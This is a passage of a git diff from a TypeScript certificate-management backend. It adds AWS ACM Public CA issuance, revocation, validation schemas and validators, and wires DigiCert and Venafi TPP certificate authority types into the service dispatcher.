+      await certificateBodyDAL.create(
+        {
+          certId: cert.id,
+          encryptedCertificate,
+          encryptedCertificateChain
+        },
+        tx
+      );
+
+      await certificateSecretDAL.create(
+        {
+          certId: cert.id,
+          encryptedPrivateKey
+        },
+        tx
+      );
+
+      if (profileId && certificateProfileDAL) {
+        const profile = await certificateProfileDAL.findByIdWithConfigs(profileId, tx);
+        if (profile?.apiConfig?.autoRenew && profile.apiConfig.renewBeforeDays) {
+          await certificateDAL.updateById(cert.id, { renewBeforeDays: profile.apiConfig.renewBeforeDays }, tx);
+        }
+      }
+    });
+
+    return {
+      certificate: certificatePem,
+      certificateChain: certificateChainPem,
+      privateKey: privateKeyPem,
+      serialNumber: certObj.serialNumber,
+      certificateId: newCertId!,
+      ca: acmCa
+    };
+  };
+
+  const revokeCertificate = async ({
+    caId,
+    serialNumber,
+    reason
+  }: {
+    caId: string;
+    serialNumber: string;
+    reason: CrlReason;
+  }) => {
+    const ca = await certificateAuthorityDAL.findByIdWithAssociatedCa(caId);
+    if (!ca.externalCa || ca.externalCa.type !== CaType.AWS_ACM_PUBLIC_CA) {
+      throw new BadRequestError({ message: "CA is not an AWS ACM Public Certificate Authority" });
+    }
+
+    const acmCa = castDbEntryToAwsAcmPublicCaCertificateAuthority(ca);
+    const { appConnectionId } = acmCa.configuration;
+
+    // ACM revokes by ARN, not serial number. Look up the ARN from the cert's externalMetadata.
+    const cert = await certificateDAL.findOne({ caId, serialNumber });
+    if (!cert) {
+      throw new NotFoundError({
+        message: `Certificate with serial number '${serialNumber}' not found under CA '${caId}'`
+      });
+    }
+
+    // If this certificate has been superseded by a renewal, the ARN now points at the renewed
+    // cert body in AWS — hitting AWS RevokeCertificate would revoke the actively-served cert.
+    // The superseded cert body is already gone from AWS, so skip the AWS call and let the caller
+    // mark the DB row as REVOKED on its own.
+    if (cert.renewedByCertificateId) {
+      logger.info(
+        `Skipping AWS ACM revoke for superseded certificate — ARN now points at renewed cert [certificateId=${cert.id}] [renewedByCertificateId=${cert.renewedByCertificateId}]`
+      );
+      return;
+    }
+
+    const parsedMetadata = ExternalMetadataSchema.safeParse(cert.externalMetadata);
+    if (!parsedMetadata.success || parsedMetadata.data.type !== CaType.AWS_ACM_PUBLIC_CA || !parsedMetadata.data.arn) {
+      throw new BadRequestError({
+        message: `Certificate '${cert.id}' is missing AWS ACM metadata — cannot resolve ARN for revocation`
+      });
+    }
+
+    // ARNs are region-locked — use the cert's stored region, not the CA's current region.
+    const acmClient = await createAcmClient({
+      appConnectionId,
+      region: parsedMetadata.data.region,
+      appConnectionDAL,
+      kmsService
+    });
+    const revocationReason = CRL_REASON_TO_ACM_REVOCATION_REASON_MAP[reason];
+
+    let result;
+    try {
+      result = await acmClient.send(
+        new RevokeCertificateCommand({
+          CertificateArn: parsedMetadata.data.arn,
+          RevocationReason: revocationReason
+        })
+      );
+    } catch (error) {
+      throw new BadRequestError({
+        message: `Failed to revoke certificate via AWS Certificate Manager: ${error instanceof Error ? error.message : "Unknown error"}`
+      });
+    }
+    logger.info(result, "AWS ACM RevokeCertificate result");
+  };
+
+  return {
+    createCertificateAuthority,
+    updateCertificateAuthority,
+    listCertificateAuthorities,
+    orderCertificateFromProfile,
+    revokeCertificate
+  };
+};
+
+// Re-export for existing callers (queue, v3 service, approval fns, etc.).
+export { validateAcmIssuanceInputs };
diff --git a/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-schemas.ts b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-schemas.ts
new file mode 100644
index 00000000000..ebbb100c58c
--- /dev/null
+++ b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-schemas.ts
@@ -0,0 +1,47 @@
+import { z } from "zod";
+
+import { CertificateAuthorities } from "@app/lib/api-docs/constants";
+import { AWSRegion } from "@app/services/app-connection/app-connection-enums";
+
+import { CaType } from "../certificate-authority-enums";
+import {
+  BaseCertificateAuthoritySchema,
+  GenericCreateCertificateAuthorityFieldsSchema,
+  GenericUpdateCertificateAuthorityFieldsSchema
+} from "../certificate-authority-schemas";
+
+export const AwsAcmPublicCaCertificateAuthorityConfigurationSchema = z.object({
+  appConnectionId: z
+    .string()
+    .uuid()
+    .trim()
+    .describe(CertificateAuthorities.CONFIGURATIONS.AWS_ACM_PUBLIC_CA.appConnectionId),
+  dnsAppConnectionId: z
+    .string()
+    .uuid()
+    .trim()
+    .describe(CertificateAuthorities.CONFIGURATIONS.AWS_ACM_PUBLIC_CA.dnsAppConnectionId),
+  hostedZoneId: z
+    .string()
+    .trim()
+    .min(1, "Hosted Zone ID is required")
+    .describe(CertificateAuthorities.CONFIGURATIONS.AWS_ACM_PUBLIC_CA.hostedZoneId),
+  region: z.nativeEnum(AWSRegion).describe(CertificateAuthorities.CONFIGURATIONS.AWS_ACM_PUBLIC_CA.region)
+});
+
+export const AwsAcmPublicCaCertificateAuthoritySchema = BaseCertificateAuthoritySchema.extend({
+  type: z.literal(CaType.AWS_ACM_PUBLIC_CA),
+  configuration: AwsAcmPublicCaCertificateAuthorityConfigurationSchema
+});
+
+export const CreateAwsAcmPublicCaCertificateAuthoritySchema = GenericCreateCertificateAuthorityFieldsSchema(
+  CaType.AWS_ACM_PUBLIC_CA
+).extend({
+  configuration: AwsAcmPublicCaCertificateAuthorityConfigurationSchema
+});
+
+export const UpdateAwsAcmPublicCaCertificateAuthoritySchema = GenericUpdateCertificateAuthorityFieldsSchema(
+  CaType.AWS_ACM_PUBLIC_CA
+).extend({
+  configuration: AwsAcmPublicCaCertificateAuthorityConfigurationSchema.optional()
+});
diff --git a/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-types.ts b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-types.ts
new file mode 100644
index 00000000000..680d46e4b8a
--- /dev/null
+++ b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-types.ts
@@ -0,0 +1,17 @@
+import { z } from "zod";
+
+import {
+  AwsAcmPublicCaCertificateAuthoritySchema,
+  CreateAwsAcmPublicCaCertificateAuthoritySchema,
+  UpdateAwsAcmPublicCaCertificateAuthoritySchema
+} from "./aws-acm-public-ca-certificate-authority-schemas";
+
+export type TAwsAcmPublicCaCertificateAuthority = z.infer<typeof AwsAcmPublicCaCertificateAuthoritySchema>;
+
+export type TCreateAwsAcmPublicCaCertificateAuthorityDTO = z.infer<
+  typeof CreateAwsAcmPublicCaCertificateAuthoritySchema
+>;
+
+export type TUpdateAwsAcmPublicCaCertificateAuthorityDTO = z.infer<
+  typeof UpdateAwsAcmPublicCaCertificateAuthoritySchema
+>;
diff --git a/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-validators.ts b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-validators.ts
new file mode 100644
index 00000000000..778202026e4
--- /dev/null
+++ b/backend/src/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-validators.ts
@@ -0,0 +1,128 @@
+import { customAlphabet } from "nanoid";
+
+import { BadRequestError } from "@app/lib/errors";
+import { ms } from "@app/lib/ms";
+import { CertKeyAlgorithm, CertSubjectAlternativeNameType } from "@app/services/certificate/certificate-types";
+
+import { AWS_ACM_CERTIFICATE_VALIDITY_DAYS } from "./aws-acm-public-ca-certificate-authority-enums";
+
+export const ACM_ALLOWED_KEY_ALGORITHMS = new Set<string>([
+  CertKeyAlgorithm.RSA_2048,
+  CertKeyAlgorithm.ECDSA_P256,
+  CertKeyAlgorithm.ECDSA_P384
+]);
+
+export const ACM_FIXED_VALIDITY_MS = AWS_ACM_CERTIFICATE_VALIDITY_DAYS * 24 * 60 * 60 * 1000;
+
+/**
+ * Pre-flight validator for ACM issuance inputs. Called both by the async fns
+ * (defense in depth) and synchronously by the certificate order API before
+ * enqueuing, so the user gets a 400 on submit rather than a FAILED request
+ * row a moment later.
+ */
+export const validateAcmIssuanceInputs = ({
+  csr,
+  keyAlgorithm,
+  altNames,
+  ttl,
+  notBefore,
+  notAfter,
+  organization,
+  organizationalUnit,
+  country,
+  state,
+  locality,
+  isRenewal
+}: {
+  csr?: string;
+  keyAlgorithm?: string;
+  altNames?: Array<{ type: CertSubjectAlternativeNameType; value: string }>;
+  ttl?: string;
+  notBefore?: Date | string;
+  notAfter?: Date | string;
+  organization?: string;
+  organizationalUnit?: string;
+  country?: string;
+  state?: string;
+  locality?: string;
+  isRenewal?: boolean;
+}) => {
+  if (csr) {
+    throw new BadRequestError({
+      message: "AWS Certificate Manager does not support CSR-based issuance"
+    });
+  }
+  if (keyAlgorithm && !ACM_ALLOWED_KEY_ALGORITHMS.has(keyAlgorithm)) {
+    throw new BadRequestError({
+      message: `AWS ACM only supports RSA_2048, EC_prime256v1, and EC_secp384r1 key algorithms. Received: ${keyAlgorithm}`
+    });
+  }
+  if (organization || organizationalUnit || country || state || locality) {
+    throw new BadRequestError({
+      message: "AWS Certificate Manager does not support subject fields (O, OU, C, ST, L)"
+    });
+  }
+  if (altNames) {
+    for (const san of altNames) {
+      if (san.type !== CertSubjectAlternativeNameType.DNS_NAME) {
+        throw new BadRequestError({
+          message: `AWS Certificate Manager only supports DNS SANs. Unsupported SAN type: ${san.type}`
+        });
+      }
+    }
+  }
+  // On renewal, ACM handles validity itself — we don't pass a TTL to AWS, and the
+  // TTL derived from the original cert may round down (e.g., 197.999d → "197d"),
+  // so skip the exact-match check.
+  if (!isRenewal) {
+    if (!ttl) {
+      throw new BadRequestError({
+        message: `AWS Certificate Manager issues certificates with a fixed validity of ${AWS_ACM_CERTIFICATE_VALIDITY_DAYS} days.`
+      });
+    }
+    let ttlMs: number;
+    try {
+      ttlMs = ms(ttl);
+    } catch {
+      throw new BadRequestError({
+        message: `Invalid TTL format: ${ttl}`
+      });
+    }
+    if (ttlMs !== ACM_FIXED_VALIDITY_MS) {
+      throw new BadRequestError({
+        message: `AWS Certificate Manager issues certificates with a fixed validity of ${AWS_ACM_CERTIFICATE_VALIDITY_DAYS} days.`
+      });
+    }
+    if (notBefore || notAfter) {
+      throw new BadRequestError({
+        message: `AWS Certificate Manager does not support notBefore or notAfter — validity is fixed at ${AWS_ACM_CERTIFICATE_VALIDITY_DAYS} days from issuance.`
+      });
+    }
+  }
+};
+
+export const mapCertKeyAlgorithmToAcm = (keyAlgorithm: CertKeyAlgorithm) => {
+  switch (keyAlgorithm) {
+    case CertKeyAlgorithm.RSA_2048:
+      return "RSA_2048";
+    case CertKeyAlgorithm.ECDSA_P256:
+      return "EC_prime256v1";
+    case CertKeyAlgorithm.ECDSA_P384:
+      return "EC_secp384r1";
+    default:
+      throw new BadRequestError({
+        message: `AWS ACM only supports RSA_2048, EC_prime256v1, and EC_secp384r1 key algorithms. Received: ${keyAlgorithm as string}`
+      });
+  }
+};
+
+// ACM's ExportCertificate passphrase must be 4-128 chars and cannot contain #, $, or %.
+const generateAcmPassphraseInternal = customAlphabet(
+  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
+  32
+);
+export const generateAcmPassphrase = (): string => generateAcmPassphraseInternal();
+
+// Strip hyphens from the certificate UUID to produce a 32-char token that
+// satisfies AWS's IdempotencyToken constraints (max 32 chars, alphanumeric).
+export const buildIdempotencyToken = (certificateId: string) => certificateId.split("-").join("").slice(0, 32);
diff --git a/backend/src/services/certificate-authority/certificate-authority-enums.ts b/backend/src/services/certificate-authority/certificate-authority-enums.ts
index 7b56dc1bb0e..082017f1966 100644
--- a/backend/src/services/certificate-authority/certificate-authority-enums.ts
+++ b/backend/src/services/certificate-authority/certificate-authority-enums.ts
@@ -2,7 +2,10 @@ export enum CaType {
   INTERNAL = "internal",
   ACME = "acme",
   AZURE_AD_CS = "azure-ad-cs",
-  AWS_PCA = "aws-pca"
+  AWS_PCA = "aws-pca",
+  DIGICERT = "digicert",
+  AWS_ACM_PUBLIC_CA = "aws-acm-public-ca",
+  VENAFI_TPP = "venafi-tpp"
 }
 
 export enum InternalCaType {
diff --git a/backend/src/services/certificate-authority/certificate-authority-maps.ts b/backend/src/services/certificate-authority/certificate-authority-maps.ts
index 0fc093a1a3f..460a2d7080c 100644
--- a/backend/src/services/certificate-authority/certificate-authority-maps.ts
+++ b/backend/src/services/certificate-authority/certificate-authority-maps.ts
@@ -4,7 +4,10 @@ export const CERTIFICATE_AUTHORITIES_TYPE_MAP: Record<CaType, string> = {
   [CaType.INTERNAL]: "Internal",
   [CaType.ACME]: "ACME-compatible CA",
   [CaType.AZURE_AD_CS]: "Active Directory Certificate Service",
-  [CaType.AWS_PCA]: "AWS Private Certificate Authority"
+  [CaType.AWS_PCA]: "AWS Private Certificate Authority",
+  [CaType.DIGICERT]: "DigiCert",
+  [CaType.AWS_ACM_PUBLIC_CA]: "AWS ACM Public CA",
+  [CaType.VENAFI_TPP]: "Venafi Trust Protection Platform"
 };
 
 export const CERTIFICATE_AUTHORITIES_CAPABILITIES_MAP: Record<CaType, CaCapability[]> = {
@@ -19,7 +22,22 @@ export const CERTIFICATE_AUTHORITIES_CAPABILITIES_MAP: Record<CaType, CaCapabili
     CaCapability.RENEW_CERTIFICATES
     // Note: REVOKE_CERTIFICATES intentionally omitted - not supported by ADCS connector
   ],
-  [CaType.AWS_PCA]: [CaCapability.ISSUE_CERTIFICATES, CaCapability.REVOKE_CERTIFICATES, CaCapability.RENEW_CERTIFICATES]
+  [CaType.AWS_PCA]: [
+    CaCapability.ISSUE_CERTIFICATES,
+    CaCapability.REVOKE_CERTIFICATES,
+    CaCapability.RENEW_CERTIFICATES
+  ],
+  [CaType.DIGICERT]: [
+    CaCapability.ISSUE_CERTIFICATES,
+    CaCapability.REVOKE_CERTIFICATES,
+    CaCapability.RENEW_CERTIFICATES
+  ],
+  [CaType.AWS_ACM_PUBLIC_CA]: [
+    CaCapability.ISSUE_CERTIFICATES,
+    CaCapability.REVOKE_CERTIFICATES,
+    CaCapability.RENEW_CERTIFICATES
+  ],
+  [CaType.VENAFI_TPP]: [CaCapability.ISSUE_CERTIFICATES, CaCapability.RENEW_CERTIFICATES]
 };
 
 /**
diff --git a/backend/src/services/certificate-authority/certificate-authority-service.ts b/backend/src/services/certificate-authority/certificate-authority-service.ts
index f0be714f6b3..85e9f37495f 100644
--- a/backend/src/services/certificate-authority/certificate-authority-service.ts
+++ b/backend/src/services/certificate-authority/certificate-authority-service.ts
@@ -1,14 +1,16 @@
 import { ForbiddenError, subject } from "@casl/ability";
 
 import { ActionProjectType, TableName } from "@app/db/schemas";
+import { TGatewayV2ServiceFactory } from "@app/ee/services/gateway-v2/gateway-v2-service";
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import {
+  ProjectPermissionCertificateActions,
   ProjectPermissionCertificateAuthorityActions,
   ProjectPermissionSub
 } from "@app/ee/services/permission/project-permission";
 import { getProcessedPermissionRules } from "@app/lib/casl/permission-filter-utils";
 import { BadRequestError, NotFoundError } from "@app/lib/errors";
-import { OrgServiceActor } from "@app/lib/types";
+import { OrgServiceActor, TProjectPermission } from "@app/lib/types";
 
 import { TAppConnectionDALFactory } from "../app-connection/app-connection-dal";
 import { TAppConnectionServiceFactory } from "../app-connection/app-connection-service";
@@ -17,11 +19,14 @@ import { TCertificateDALFactory } from "../certificate/certificate-dal";
 import { TCertificateSecretDALFactory } from "../certificate/certificate-secret-dal";
 import { CrlReason } from "../certificate/certificate-types";
 import { TCertificateProfileDALFactory } from "../certificate-profile/certificate-profile-dal";
+import { TCertificateRequestDALFactory } from "../certificate-request/certificate-request-dal";
+import { CertificateRequestStatus } from "../certificate-request/certificate-request-types";
 import { TKmsServiceFactory } from "../kms/kms-service";
 import { TPkiSubscriberDALFactory } from "../pki-subscriber/pki-subscriber-dal";
 import { TPkiSyncDALFactory } from "../pki-sync/pki-sync-dal";
 import { TPkiSyncQueueFactory } from "../pki-sync/pki-sync-queue";
 import { TProjectDALFactory } from "../project/project-dal";
+import { TResourceMetadataDALFactory } from "../resource-metadata/resource-metadata-dal";
 import {
   AcmeCertificateAuthorityFns,
   castDbEntryToAcmeCertificateAuthority
@@ -30,6 +35,14 @@ import {
   TCreateAcmeCertificateAuthorityDTO,
   TUpdateAcmeCertificateAuthorityDTO
 } from "./acme/acme-certificate-authority-types";
+import {
+  AwsAcmPublicCaCertificateAuthorityFns,
+  castDbEntryToAwsAcmPublicCaCertificateAuthority
+} from "./aws-acm-public-ca/aws-acm-public-ca-certificate-authority-fns";
+import {
+  TCreateAwsAcmPublicCaCertificateAuthorityDTO,
+  TUpdateAwsAcmPublicCaCertificateAuthorityDTO
+} from "./aws-acm-public-ca/aws-acm-public-ca-certificate-authority-types";
 import {
   AwsPcaCertificateAuthorityFns,
   castDbEntryToAwsPcaCertificateAuthority
@@ -54,9 +67,26 @@ import {
   TDeprecatedUpdateCertificateAuthorityDTO,
   TUpdateCertificateAuthorityDTO
 } from "./certificate-authority-types";
+import {
+  castDbEntryToDigiCertCertificateAuthority,
+  DigiCertCertificateAuthorityFns
+} from "./digicert/digicert-certificate-authority-fns";
+import { processDigiCertPendingValidationRequest } from "./digicert/digicert-certificate-authority-processor";
+import {
+  TCreateDigiCertCertificateAuthorityDTO,
+  TUpdateDigiCertCertificateAuthorityDTO
+} from "./digicert/digicert-certificate-authority-types";
 import { TExternalCertificateAuthorityDALFactory } from "./external-certificate-authority-dal";
 import { TInternalCertificateAuthorityServiceFactory } from "./internal/internal-certificate-authority-service";
 import { TCreateInternalCertificateAuthorityDTO } from "./internal/internal-certificate-authority-types";
+import {
+  castDbEntryToVenafiTppCertificateAuthority,
+  VenafiTppCertificateAuthorityFns
+} from "./venafi-tpp/venafi-tpp-certificate-authority-fns";
+import {
+  TCreateVenafiTppCertificateAuthorityDTO,
+  TUpdateVenafiTppCertificateAuthorityDTO
+} from "./venafi-tpp/venafi-tpp-certificate-authority-types";
 
 type TCertificateAuthorityServiceFactoryDep = {
   appConnectionDAL: Pick<TAppConnectionDALFactory, "findById" | "update" | "updateById">;
@@ -77,7 +107,7 @@ type TCertificateAuthorityServiceFactoryDep = {
   internalCertificateAuthorityService: TInternalCertificateAuthorityServiceFactory;
   projectDAL: Pick<TProjectDALFactory, "findProjectBySlug" | "findOne" | "updateById" | "findById" | "transaction">;
   permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
-  certificateDAL: Pick<TCertificateDALFactory, "create" | "transaction" | "updateById">;
+  certificateDAL: Pick<TCertificateDALFactory, "create" | "findById" | "findOne" | "transaction" | "updateById">;
   certificateBodyDAL: Pick<TCertificateBodyDALFactory, "create">;
   certificateSecretDAL: Pick<TCertificateSecretDALFactory, "create">;
   kmsService: Pick<
@@ -87,7 +117,13 @@ type TCertificateAuthorityServiceFactoryDep = {
   pkiSubscriberDAL: Pick<TPkiSubscriberDALFactory, "findById">;
   pkiSyncDAL: Pick<TPkiSyncDALFactory, "find">;
   pkiSyncQueue: Pick<TPkiSyncQueueFactory, "queuePkiSyncSyncCertificatesById">;
-  certificateProfileDAL?: Pick<TCertificateProfileDALFactory, "findById">;
+  certificateProfileDAL?: Pick<TCertificateProfileDALFactory, "findById" | "findByIdWithConfigs">;
+  certificateRequestDAL: Pick<
+    TCertificateRequestDALFactory,
+    "findById" | "updateById" | "updateStatus" | "attachCertificate"
+  >;
+  resourceMetadataDAL: Pick<TResourceMetadataDALFactory, "find" | "insertMany">;
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">;
 };
 
 export type TCertificateAuthorityServiceFactory = ReturnType<typeof certificateAuthorityServiceFactory>;
@@ -107,7 +143,10 @@ export const certificateAuthorityServiceFactory = ({
   pkiSubscriberDAL,
   pkiSyncDAL,
   pkiSyncQueue,
-  certificateProfileDAL
+  certificateProfileDAL,
+  certificateRequestDAL,
+  resourceMetadataDAL,
+  gatewayV2Service
 }: TCertificateAuthorityServiceFactoryDep) => {
   const acmeFns = AcmeCertificateAuthorityFns({
     appConnectionDAL,
@@ -141,6 +180,20 @@ export const certificateAuthorityServiceFactory = ({
     certificateProfileDAL
   });
 
+  const venafiTppFns = VenafiTppCertificateAuthorityFns({
+    appConnectionDAL,
+    appConnectionService,
+    certificateAuthorityDAL,
+    externalCertificateAuthorityDAL,
+    certificateDAL,
+    certificateBodyDAL,
+    certificateSecretDAL,
+    kmsService,
+    projectDAL,
+    certificateProfileDAL,
+    gatewayV2Service
+  });
+
   const awsPcaFns = AwsPcaCertificateAuthorityFns({
     appConnectionDAL,
     appConnectionService,
@@ -154,6 +207,30 @@ export const certificateAuthorityServiceFactory = ({
     certificateProfileDAL
   });
 
+  const digicertFns = DigiCertCertificateAuthorityFns({
+    appConnectionDAL,
+    appConnectionService,
+    certificateAuthorityDAL,
+    externalCertificateAuthorityDAL,
+    certificateDAL,
+    certificateBodyDAL,
+    certificateSecretDAL,
+    kmsService,
+    projectDAL
+  });
+  const awsAcmPublicCaFns = AwsAcmPublicCaCertificateAuthorityFns({
+    appConnectionDAL,
+    appConnectionService,
+    certificateAuthorityDAL,
+    externalCertificateAuthorityDAL,
+    certificateDAL,
+    certificateBodyDAL,
+    certificateSecretDAL,
+    kmsService,
+    projectDAL,
+    certificateProfileDAL
+  });
+
   const createCertificateAuthority = async (
     { type, projectId, name, configuration, status }: TCreateCertificateAuthorityDTO,
     actor: OrgServiceActor
@@ -227,6 +304,34 @@ export const certificateAuthorityServiceFactory = ({
       });
     }
 
+    if (type === CaType.DIGICERT) {
+      return digicertFns.createCertificateAuthority({
+        name,
+        projectId,
+        configuration: configuration as TCreateDigiCertCertificateAuthorityDTO["configuration"],
+        status,
+        actor
+      });
+    }
+    if (type === CaType.AWS_ACM_PUBLIC_CA) {
+      return awsAcmPublicCaFns.createCertificateAuthority({
+        name,
+        projectId,
+        configuration: configuration as TCreateAwsAcmPublicCaCertificateAuthorityDTO["configuration"],
+        status,
+        actor
+      });
+    }
+    if (type === CaType.VENAFI_TPP) {
+      return venafiTppFns.createCertificateAuthority({
+        name,
+        projectId,
+        configuration: configuration as TCreateVenafiTppCertificateAuthorityDTO["configuration"],
+        status,
+        actor
+      });
+    }
+
     throw new BadRequestError({ message: "Invalid certificate authority type" });
   };
 
@@ -289,6 +394,18 @@ export const certificateAuthorityServiceFactory = ({
       return castDbEntryToAwsPcaCertificateAuthority(certificateAuthority);
     }
 
+    if (type === CaType.DIGICERT) {
+      return castDbEntryToDigiCertCertificateAuthority(certificateAuthority);
+    }
+
+    if (type === CaType.AWS_ACM_PUBLIC_CA) {
+      return castDbEntryToAwsAcmPublicCaCertificateAuthority(certificateAuthority);
+    }
+
+    if (type === CaType.VENAFI_TPP) {
+      return castDbEntryToVenafiTppCertificateAuthority(certificateAuthority);
+    }
+
     throw new BadRequestError({ message: "Invalid certificate authority type" });
   };
 
@@ -356,6 +473,18 @@ export const certificateAuthorityServiceFactory = ({
       return castDbEntryToAwsPcaCertificateAuthority(certificateAuthority);
     }
 
+    if (type === CaType.DIGICERT) {
+      return castDbEntryToDigiCertCertificateAuthority(certificateAuthority);
+    }
+
+    if (type === CaType.AWS_ACM_PUBLIC_CA) {
+      return castDbEntryToAwsAcmPublicCaCertificateAuthority(certificateAuthority);
+    }
+
+    if (type === CaType.VENAFI_TPP) {
+      return castDbEntryToVenafiTppCertificateAuthority(certificateAuthority);
+    }
+
     throw new BadRequestError({ message: "Invalid certificate authority type" });
   };
 
@@ -418,6 +547,18 @@ export const certificateAuthorityServiceFactory = ({
       return awsPcaFns.listCertificateAuthorities({ projectId, permissionFilters });
     }
 
+    if (type === CaType.DIGICERT) {
+      return digicertFns.listCertificateAuthorities({ projectId, permissionFilters });
+    }
+
+    if (type === CaType.AWS_ACM_PUBLIC_CA) {
+      return awsAcmPublicCaFns.listCertificateAuthorities({ projectId, permissionFilters });
+    }
+
+    if (type === CaType.VENAFI_TPP) {
+      return venafiTppFns.listCertificateAuthorities({ projectId, permissionFilters });
+    }
+
     throw new BadRequestError({ message: "Invalid certificate authority type" });
   };
 
@@ -507,6 +648,36 @@ export const certificateAuthorityServiceFactory = ({
       });
     }
 
+    if (type === CaType.DIGICERT) {
+      return digicertFns.updateCertificateAuthority({
+        id: certificateAuthority.id,
+        configuration: configuration as TUpdateDigiCertCertificateAuthorityDTO["configuration"],
+        actor,
+        status,
+        name
+      });
+    }
+
+    if (type === CaType.AWS_ACM_PUBLIC_CA) {
+      return awsAcmPublicCaFns.updateCertificateAuthority({
+        id: certificateAuthority.id,
+        configuration: configuration as TUpdateAwsAcmPublicCaCertificateAuthorityDTO["configuration"],
+        actor,
+        status,
+        name
+      });
+    }
+
+    if (type === CaType.VENAFI_TPP) {
+      return venafiTppFns.updateCertificateAuthority({
+        id: certificateAuthority.id,
+        configuration: configuration as TUpdateVenafiTppCertificateAuthorityDTO["configuration"],
+        actor,
+        status,
+        name
+      });
+    }
+
     throw new BadRequestError({ message: "Invalid certificate authority type" });
   };
 
@@ -570,6 +741,18 @@ export const certificateAuthorityServiceFactory = ({
       return castDbEntryToAwsPcaCertificateAuthority(certificateAuthority);
     }
 
+    if (type === CaType.DIGICERT) {
+      return castDbEntryToDigiCertCertificateAuthority(certificateAuthority);
+    }
+
+    if (type === CaType.AWS_ACM_PUBLIC_CA) {
+      return castDbEntryToAwsAcmPublicCaCertificateAuthority(certificateAuthority);
+    }
+
+    if (type === CaType.VENAFI_TPP) {
+      return castDbEntryToVenafiTppCertificateAuthority(certificateAuthority);
+    }
+
     throw new BadRequestError({ message: "Invalid certificate authority type" });
   };
 
@@ -662,6 +845,36 @@ export const certificateAuthorityServiceFactory = ({
       });
     }
 
+    if (type === CaType.DIGICERT) {
+      return digicertFns.updateCertificateAuthority({
+        id: certificateAuthority.id,
+        configuration: configuration as TUpdateDigiCertCertificateAuthorityDTO["configuration"],
+        actor,
+        status,
+        name
+      });
+    }
+
+    if (type === CaType.AWS_ACM_PUBLIC_CA) {
+      return awsAcmPublicCaFns.updateCertificateAuthority({
+        id: certificateAuthority.id,
+        configuration: configuration as TUpdateAwsAcmPublicCaCertificateAuthorityDTO["configuration"],
+        actor,
+        status,
+        name
+      });
+    }
+
+    if (type === CaType.VENAFI_TPP) {
+      return venafiTppFns.updateCertificateAuthority({
+        id: certificateAuthority.id,
+        configuration: configuration as TUpdateVenafiTppCertificateAuthorityDTO["configuration"],
+        actor,
+        status,
+        name
+      });
+    }
+
     throw new BadRequestError({ message: "Invalid certificate authority type" });
   };
 
@@ -731,6 +944,18 @@ export const certificateAuthorityServiceFactory = ({
       return castDbEntryToAwsPcaCertificateAuthority(certificateAuthority);
     }
 
+    if (type === CaType.DIGICERT) {
+      return castDbEntryToDigiCertCertificateAuthority(certificateAuthority);
+    }
+
+    if (type === CaType.AWS_ACM_PUBLIC_CA) {
+      return castDbEntryToAwsAcmPublicCaCertificateAuthority(certificateAuthority);
+    }
+
+    if (type === CaType.VENAFI_TPP) {
+      return castDbEntryToVenafiTppCertificateAuthority(certificateAuthority);
+    }
+
     throw new BadRequestError({ message: "Invalid certificate authority type" });
   };
 
@@ -840,11 +1065,95 @@ export const certificateAuthorityServiceFactory = ({
       return;
     }
 
+    if (caType === CaType.DIGICERT) {
+      await digicertFns.revokeCertificate({ caId, serialNumber, reason });
+      return;
+    }
+
+    if (caType === CaType.AWS_ACM_PUBLIC_CA) {
+      await awsAcmPublicCaFns.revokeCertificate({ caId, serialNumber, reason });
+      return;
+    }
+
     throw new BadRequestError({
       message: `Certificate revocation via CA service is not supported for CA type "${caType}"`
     });
   };
 
+  const triggerCertificateRequestValidation = async ({
+    actor,
+    actorId,
+    actorAuthMethod,
+    actorOrgId,
+    certificateRequestId
+  }: Omit<TProjectPermission, "projectId"> & { certificateRequestId: string }) => {
+    const certificateRequest = await certificateRequestDAL.findById(certificateRequestId);
+    if (!certificateRequest) {
+      throw new NotFoundError({ message: "Certificate request not found" });
+    }
+
+    const { permission } = await permissionService.getProjectPermission({
+      actor,
+      actorId,
+      projectId: certificateRequest.projectId,
+      actorAuthMethod,
+      actorOrgId,
+      actionProjectType: ActionProjectType.CertificateManager
+    });
+
+    const requestMetadata = (await resourceMetadataDAL.find({ certificateRequestId: certificateRequest.id })).map(
+      ({ key, value }) => ({ key, value: value || "" })
+    );
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionCertificateActions.Edit,
+      subject(ProjectPermissionSub.Certificates, {
+        commonName: certificateRequest.commonName ?? undefined,
+        altNames: Array.isArray(certificateRequest.altNames)
+          ? (certificateRequest.altNames as { type: string; value: string }[]).map((san) => san.value)
+          : undefined,
+        metadata: requestMetadata
+      })
+    );
+
+    if (certificateRequest.status !== CertificateRequestStatus.PENDING_VALIDATION) {
+      throw new BadRequestError({
+        message: `Certificate request is not pending validation [status=${certificateRequest.status}]`
+      });
+    }
+
+    if (!certificateRequest.caId) {
+      throw new BadRequestError({ message: "Certificate request is not linked to a certificate authority" });
+    }
+
+    const ca = await certificateAuthorityDAL.findByIdWithAssociatedCa(certificateRequest.caId);
+    if (ca.externalCa?.type !== CaType.DIGICERT) {
+      throw new BadRequestError({
+        message: `Manual validation is only supported for DigiCert certificate authorities [caType=${ca.externalCa?.type}]`
+      });
+    }
+
+    const result = await processDigiCertPendingValidationRequest(
+      {
+        certificateAuthorityDAL,
+        appConnectionDAL,
+        kmsService,
+        certificateRequestDAL,
+        certificateRequestService: {
+          updateCertificateRequestStatus: async ({ certificateRequestId: id, status, errorMessage }) =>
+            certificateRequestDAL.updateStatus(id, status, errorMessage),
+          attachCertificateToRequest: async ({ certificateRequestId: id, certificateId }) =>
